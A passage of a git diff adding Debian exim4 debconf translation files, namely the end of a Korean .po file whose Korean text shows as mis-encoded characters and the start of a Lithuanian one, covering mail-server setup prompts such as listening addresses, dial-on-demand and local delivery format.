+"ê²ƒì´ ì¢‹ê¸° 때문ì—, ì—¬ê¸°ì— ë‚˜ì—´ëœ ì‚¬ìš©ìž ì¤‘ 최소한 하나는 ì´ ì‹œìŠ¤í…œ 밖으로 ë©”ì¼"
+"ì„ ì „ë‹¬í•˜ì§€ ì•Šì„ ê²ƒì„ ê¶Œìž¥í•©ë‹ˆë‹¤. 로컬 ë°°ë‹¬ì„ ê°•ì œí•˜ê¸° 위해서는 ì•žì— \"real-"
+"\"를 붙ì´ì‹­ì‹œì˜¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"ì‚¬ìš©ìž ì´ë¦„ì„ ì—¬ëŸ¬ ê°œ 입력하기 위해서는 공백으로 구분해서 입력하십시오."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "들어오는 SMTP ì—°ê²°ì„ ë°›ì•„ë“¤ì¼ IP 주소:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"세미콜론으로 êµ¬ë¶„ëœ IP ì£¼ì†Œì˜ ëª©ë¡ì„ 입력하십시오. eximì˜ SMTP listener ë°ëª¬"
+"ì€ ì´ ëª©ë¡ì— 있는 모든 IP 주소ì—ì„œ ì—°ê²°ì„ ë°›ì•„ë“¤ì´ê²Œ ë©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ì´ ê°’ì„ ë¹„ì›Œë‘˜ 경우, eximì€ ì‚¬ìš© 가능한 모든 ë„¤íŠ¸ì›Œí¬ ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ ì—°ê²°ì„ "
+"받아들ì´ê²Œ ë©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ì´ ì‹œìŠ¤í…œì´ (다른 í˜¸ìŠ¤íŠ¸ì— ì—°ê²°í•˜ì§€ ì•Šê³ )로컬 서비스를 통해서만 ì´ë©”ì¼ì„ 받으"
+"ë©´ 외부ì—ì„œ ë¡œì»¬ì— ìžˆëŠ” exim ë°ëª¬ìœ¼ë¡œ ì—°ê²°ì„ ê¸ˆí•  ê²ƒì„ ê¶Œìž¥í•©ë‹ˆë‹¤. 로컬 서비"
+"스란 localhost와 통신하는 ì´ë©”ì¼ í”„ë¡œê·¸ëž¨(MUA)ê³¼ fetchmail ë“±ì„ ì¼ì»«ìŠµë‹ˆë‹¤. "
+"ì—¬ê¸°ì— 127.0.0.1ì„ ìž…ë ¥í•˜ë©´ ê³µê°œëœ ë„¤íŠ¸ì›Œí¬ ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œì˜ ì—°ê²°ì„ ë°›ì•„ë“¤ì´"
+"지 않게 ë˜ê¸° ë•Œë¬¸ì— ì™¸ë¶€ ì—°ê²°ì´ ë˜ì§€ 않습니다."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS 질ì˜ë¥¼ 최소화하시겠습니까 (필요할 때만 전화접ì†)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"ì¼ë°˜ì ì¸ ë™ìž‘ 모드ì—서는 eximì´ ì‹œìž‘í•  때와 메세지를 ë³´ë‚´ê³  ë°›ì„ ë•Œì— DNS 질"
+"ì˜ë¥¼ 합니다. ì´ëŠ” 로그 ìž‘ì„±ì„ ìœ„í•´, 설정 파ì¼ì—ì„œ í•˜ë“œì½”ë”©ëœ ê°’ì„ ìµœì†Œí™”í•˜ê¸° "
+"위해서입니다."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"필요할 때만 전화접ì†ì„ 하는 ë“±ì˜ ì´ìœ ë¡œ DNS ë„¤ìž„ì„œë²„ì— ì•„ë¬´ 때나 접근할 수 ì—†"
+"ì„ ê²½ìš° ì›ì¹˜ 않는 결과를 초래할 수 있습니다. 예를 들어 eximì„ ì‹œìž‘í•˜ê±°ë‚˜ ë©”"
+"ì¼ í를 실행하는 경우(íì— ì‹¤ì œ 메세지가 ì—†ë”ë¼ë„) ì „í™”ìš”ê¸ˆì´ ë¹„ì‹¼ 전화접ì†"
+"ì„ ì‹œë„í•  수 있습니다."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"ì‹œìŠ¤í…œì´ í•„ìš”í•  때만 ì „í™”ì ‘ì† ëª¨ë“œë¥¼ 사용할 경우 ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤. í•­ìƒ ì¸"
+"í„°ë„·ì— ì—°ê²°ë˜ì–´ ìžˆì„ ê²½ìš°ì—는 ì´ ì˜µì…˜ì„ ì‚¬ìš©í•˜ì§€ 마십시오."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ë©”ì¼ ì„œë²„ 설정"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "ì„¤ì •ì„ ì—¬ëŸ¬ê°œì˜ ìž‘ì€ íŒŒì¼ë¡œ 쪼개시겠습니까?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"ë°ë¹„안 exim4 패키지는 í•œ ê°œì˜ í†µí•©ëœ íŒŒì¼(/etc/exim4/exim4.conf.template)ì„ "
+"사용하는 \"통합설정\"를 사용하거나 /etc/exim4/conf.d/ ì•ˆì— ìžˆëŠ” 50ì—¬ ê°œì˜ ìž‘"
+"ì€ íŒŒì¼ì—ì„œ 최종 설정 파ì¼ì„ 만드는 \"ë¶„ë¦¬ëœ ì„¤ì •\"를 사용할 수 있습니다."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"ì „ìžì˜ 경우 ì„¤ì •ì„ ë§Žì´ ìˆ˜ì •í•˜ëŠ” ê²½ìš°ì— ë” ì í•©í•˜ê³  ë” ì•ˆì •ì ìž…니다. 반면 후"
+"ìžëŠ” ì„¤ì •ì„ ì•½ê°„ 수정하는 경우 ë” ê°„íŽ¸í•œ ë°©ë²•ì¼ ìˆ˜ 있지만 ë” ë¶ˆì•ˆì •í•˜ë©° 설정"
+"ì„ ìž˜ëª»í•  경우 ì„¤ì •ì´ ë§ê°€ì§ˆ ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"ë¶„ë¦¬ëœ ì„¤ì •ê³¼ í†µí•©ì„¤ì •ì— ê´€í•œ ë” ìžì„¸í•œ 정보는 /usr/share/doc/exim4-baseì— ìžˆ"
+"는 ë°ë¹„안 ì „ìš© README 파ì¼ì—ì„œ 보실 수 있습니다."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ê°ì¶”시겠습니까?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"다른 시스템ì—ì„œ ë©”ì¼ì„ 보낸 것처럼 ë³´ì´ë„ë¡ ë‚˜ê°€ëŠ” ë©”ì¼ì˜ í—¤ë”를 다시 쓸 수 "
+"있습니다. ì´ ì˜µì…˜ì„ ì‚¬ìš©í•  경우 From, Reply-To, Sender ë° Return-Pathì— ìžˆ"
+"는 \"${mailname}\"ì´ë‚˜ \"localhost\", \"${dc_other_hostnames}\"ì„(를) 다른 ì´"
+"름으로 바꾸게 ë©ë‹ˆë‹¤."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ì— mbox 형ì‹ìœ¼ë¡œ"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "홈 ë””ë ‰í† ë¦¬ì— Maildir 형ì‹ìœ¼ë¡œ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "로컬 ë©”ì¼ì„ 배달할 ë•Œ 사용할 배달 ë°©ì‹:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"eximì€ ë¡œì»¬ë¡œ ë°°ë‹¬ëœ ì´ë©”ì¼ì„ 다양한 형ì‹ìœ¼ë¡œ 저장할 수 있습니다. 가장 ë„리 "
+"사용ë˜ëŠ” 형ì‹ì€ mbox형ì‹ê³¼ Maildir형ì‹ìž…니다. mbox형ì‹ì€ /var/mail/ì— ìžˆëŠ” 완"
+"ì „í•œ ë©”ì¼ í´ë”를 í•˜ë‚˜ì˜ íŒŒì¼ì— 저장합니다. Maildir형ì‹ì„ 사용할 경우 모든 ë©”"
+"시지는 ~/Maildir/ì— ë”°ë¡œ ë”°ë¡œ 저장ë©ë‹ˆë‹¤."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"참고로 ë°ë¹„ì•ˆì— ìžˆëŠ” ëŒ€ë¶€ë¶„ì˜ ë©”ì¼ ë„구는 mbox 형ì‹ì„ 기본 로컬 배달 ë°©ì‹ìœ¼"
+"로 간주합니다."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "exim(버전3)ì´ ì•„ì§ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì„ exim4 스풀로 옮기시겠습니까?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "exim(버전3)ì´ë‚˜ exim-tls(v3)ìš© 스풀 디렉토리 /var/spool/exim/input/ì— ì•„"
+#~ "ì§ ë°°ë‹¬ë˜ì§€ ì•Šì€ ë©”ì¼ì´ 있습니다."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "ì´ ì˜µì…˜ì„ ì„ íƒí•˜ì‹œë©´ ì´ ë©”ì‹œì§€ë¥¼ exim4ìš© 스풀(/var/spool/exim4/input/)ë¡œ "
+#~ "옮겨서 exim4ê°€ 처리하ë„ë¡ í•©ë‹ˆë‹¤."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "ì´ ìž‘ì—…ì€ í•œìª½ 방향으로만 ë™ìž‘합니다. exim4는 exim(v3)ìš© ìŠ¤í’€ì„ ì²˜ë¦¬í•  수 "
+#~ "있지만 반대로는 안 ë©ë‹ˆë‹¤. 다시 exim(v3)를 사용하지 ì•Šì„ ê²½ìš°ì—만 메시지"
+#~ "를 옮기ë„ë¡ í•˜ì‹­ì‹œì˜¤. 그렇지 않으면 메시지를 ë‚˜ì¤‘ì— ìˆ˜ë™ìœ¼ë¡œ 옮기십시오."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "ì´ ëª©ë¡ì„ 비어둘 경우 eximì€ ë¡œì»¬ ë°°ë‹¬ì„ ì•ˆí•˜ê²Œ ë©ë‹ˆë‹¤."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "í•œ 방향으로만 ë™ìž‘하는 ê²ƒì— ì£¼ì˜í•˜ì‹­ì‹œì˜¤. exim4는 exim(버전3)ì˜ ìŠ¤í’€ì„ ì²˜"
+#~ "리할 수 있지만, 그 반대는 아닙니다."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "다시는 exim(버전3)으로 ëŒì•„올 계íšì´ 없는 경우ì—만 ë©”ì¼ì„ 옮기십시오. ì•„"
+#~ "니면 지금 ë©”ì¼ì„ 옮기지 ë§ê³  수ë™ìœ¼ë¡œ ì„¤ì •ì„ ë³€í™˜í–ˆì„ ë•Œ 옮기십시오."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "ë„ë©”ì¸ì´ ë” ìžˆë‹¤ë©´ 여기 입력하십시오. ê° ë„ë©”ì¸ì€ 콜론으로 구분합니다. ë” "
+#~ "없으면 비워 ë‘시면 ë©ë‹ˆë‹¤."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "ë¦´ë ˆì´ ë©”ì¼ì„ ë°›ì•„ë“¤ì¼ ëª©ì ì§€ ë„ë©”ì¸ì„ 입력하십시오."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "ì´ ë„ë©”ì¸ì€ ì¸í„°ë„·ì˜ ì–´ë””ì—서든 ì´ ë„ë©”ì¸ìœ¼ë¡œ 가는 ë©”ì¼ì„ 받아들ì´ëŠ” ë„ë©”"
+#~ "ì¸ìž…니다. 로컬 ë„ë©”ì¸ì€ 여기 쓰지 마십시오."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "여기 입력하는 ë„ë©”ì¸ì€ 콜론으로 구분합니다. 와ì¼ë“œì¹´ë“œë„ 사용할 수 있습니"
+#~ "다."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ê°ì¶”기로 하셨기 때문ì—, 로컬 사용ìžê°€ 사"
+#~ "ìš©í•  ë„ë©”ì¸ ì´ë¦„ì„ ì§€ì •í•´ì•¼ 합니다; 대부분 ë©”ì¼ì„ ë°›ì„ ë•Œ 쓰는 컴퓨터로 지"
+#~ "정합니다."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "사용ìžëŠ” 어디서 ë©”ì¼ì„ ì½ìŠµë‹ˆê¹Œ?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "ì´ í˜¸ìŠ¤íŠ¸ì—ì„œ 나가는 ë©”ì¼ì„ 처리할 컴퓨터 (스마트호스트):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "나가는 ë©”ì¼ì„ 보낼 ì»´í“¨í„°ì˜ í˜¸ìŠ¤íŠ¸ì´ë¦„ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤"
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "필요할 때만 전화접ì†ì„ 하는 ê²½ìš°ì— ì´ ê¸°ëŠ¥ì„ ì‚¬ìš©í•˜ì‹­ì‹œì˜¤; 그렇지 ì•Šì€ ê²½"
+#~ "우 사용하지 마십시오."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "ë‹¤ìŒ ì¤‘ì—ì„œ í•„ìš”ì— ë”°ë¼ ê°€ìž¥ ì í•©í•œ ì„¤ì •ì„ ê³ ë¥´ì‹­ì‹œì˜¤."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "잘 모르겠으면 ì„¤ì •ì„ ìª¼ê°œì§€ ë§ì•„야 합니다."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "ì§ì ‘ 만든 exim 버전3 ì„¤ì •ì„ ìˆ˜ë™ìœ¼ë¡œ 바꾸기"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "exim4를 수ë™ìœ¼ë¡œ 설정하시겠습니까?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "ì§ì ‘ 만든 exim 3 ì„¤ì •ì´ ìžˆë‹¤ê³  하셨습니다. ì´ ì„¤ì • 파ì¼ì„ exim 4ë¡œ 변환하"
+#~ "려면, 설치한 í›„ì— exim_convert4r4(8) íˆ´ì„ ì“¸ 수 있습니다. /usr/share/doc/"
+#~ "exim4-base/examples/example.conf.gz ë° /usr/share/doc/exim4-base/README."
+#~ "Debian.gz 파ì¼ì„ 참고하십시오!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ê¸° 전까지는, 제대로 ë™ìž‘하지 ì•Šê³  사용할 수 없습니다."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "\"ë©”ì¼ ì´ë¦„\"ì€ (다시 쓰기 ê·œì¹™ì— ì˜í•´ 가려지지 않는다면) 나가는 뉴스 ë° "
+#~ "ë©”ì¼ì— 쓰여지는 주소ì—ì„œ 호스트 ì´ë¦„ ë¶€ë¶„ì„ ë§í•©ë‹ˆë‹¤ (ì‚¬ìš©ìž ì´ë¦„ ë’¤ì˜ @ "
+#~ "다ìŒì— 나오는 부분)."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "ë¦´ë ˆì´ ë©”ì¼ì„ ë°›ì•„ë“¤ì¼ ëª©ì ì§€ 로컬 ì»´í“¨í„°ì˜ ë„¤íŠ¸ì›Œí¬ë¥¼ 여기 입력하십시오."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr "스마트호스트로 사용할 모든 ì»´í“¨í„°ì˜ ëª©ë¡ì´ 들어 있어야 합니다."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "IPv6 주소ì—서는 ì½œë¡ ì„ ë‘ ê°œì”© ì¨ì•¼ 합니다 (예를 들어 "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "ì—°ê²°ì„ ë°›ì•„ë“¤ì¼ IP 주소 목ë¡ì„ 콜론으로 구분해 입력하십시오. IPv6 주소 안"
+#~ "ì— ë“¤ì–´ 있는 ì½œë¡ ì€ ì½œë¡  2개를 ì¨ì•¼ 합니다 (예를 들어 "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "exim 버전4 설정 (exim4-config)"
diff --git a/debian/po/lt.po b/debian/po/lt.po
new file mode 100644
index 0000000..2354056
--- /dev/null
+++ b/debian/po/lt.po
@@ -0,0 +1,661 @@
+# translation of exim4-lt.po to Lithuanian
+#
+# Kęstutis Biliūnas <kebil@kaunas.init.lt>, 2004.
+# Gintautas Miliauskas <gintas@akl.lt>, 2004, 2006.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-lt\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-09-01 17:25+0300\n"
+"Last-Translator: Gintautas Miliauskas <gintas@akl.lt>\n"
+"Language-Team: Lithuanian <komp_lt@konferencijos.lt>\n"
+"Language: lt\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.2\n"
+"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n"
+"%100<10 || n%100>=20) ? 1 : 2);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ar pašalinti neišsiųstus laiškus iš pašto eilės (spool) aplanko?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Pašto eilės (spool) aplanke /var/spool/exim4/input yra neišsiųstų laiškų. "
+"Jei dabar išinstaliuosite Exim, jie nebus išsiųsti tol, kol vėl "
+"instaliuosite Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Jei šis nustatymas nepasirinktas, pašto eilės katalogas paliekamas "
+"neištrintas, todėl jame esantys laiškai gali būti išsiųsti vėliau iš naujo "
+"instaliavus Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Perkonfigūruoti exim4-config vietoje šio paketo"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 konfigūracija buvo iškelta į atskirą paketą exim4-config. Jei norite "
+"konfigūruoti Exim4, įvykdykite „dpkg-reconfigure exim4-config“."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"interneto stotis; pašto siuntimas ir priėmimas tiesiogiai SMTP protokolu"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "pašto siuntimas per smarthost; priėmimas per SMTP arba fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "pašto siuntimas per smarthost; nėra lokalaus pašto"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "tik lokalus pašto pristatymas; tinklo nėra"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "šiuo metu nekonfigūruoti"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Bendras pašto konfigūracijos tipas:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Pasirinkite pašto serverio konfigūracijos tipą, geriausiai atitinkantį Jūsų "
+"poreikius."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemos su dinaminiu IP adresu (įskaitant sistemas su komutuojamomis "
+"telefono linijomis) paprastai turėtų būti sukonfigūruotos persiųsti "
+"išeinantį paštą kitam pašto serveriui, vadinamam „smarthost“, nes daug "
+"sistemų internete saugodamosi nuo šiukšlių nepriima pašto iš dinaminių IP "
+"adresų."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Sistema su dinaminiu IP adresu gali gauti savo paštą arba vietinis "
+"pristatymas gali būti visiškai išjungtas (išskyrus paštą sistemos "
+"administratoriui ir pašto administratoriui)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ar tikrai palikti pašto sistemą nekonfigūruotą?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Kol pašto sistema nesukonfigūruota, ji nebus tinkama darbui ir negali būti "
+"naudojama. Galite atlikti konfigūravimą rankiniu būdu (redaguodami "
+"konfigūracijos failus) arba administratoriaus teisėmis įvykdę komandą „dpkg-"
+"reconfigure exim4-config“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Pašto sistemos vardas:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Pašto sistemos vardas (mail name) – tai domeno vardas, naudojamas adresams "
+"be nurodyto domeno vardo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Šį vardą naudoja ir kitos programos. Tai turėtų būti atskiras, pilnas domeno "
+"vardas (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
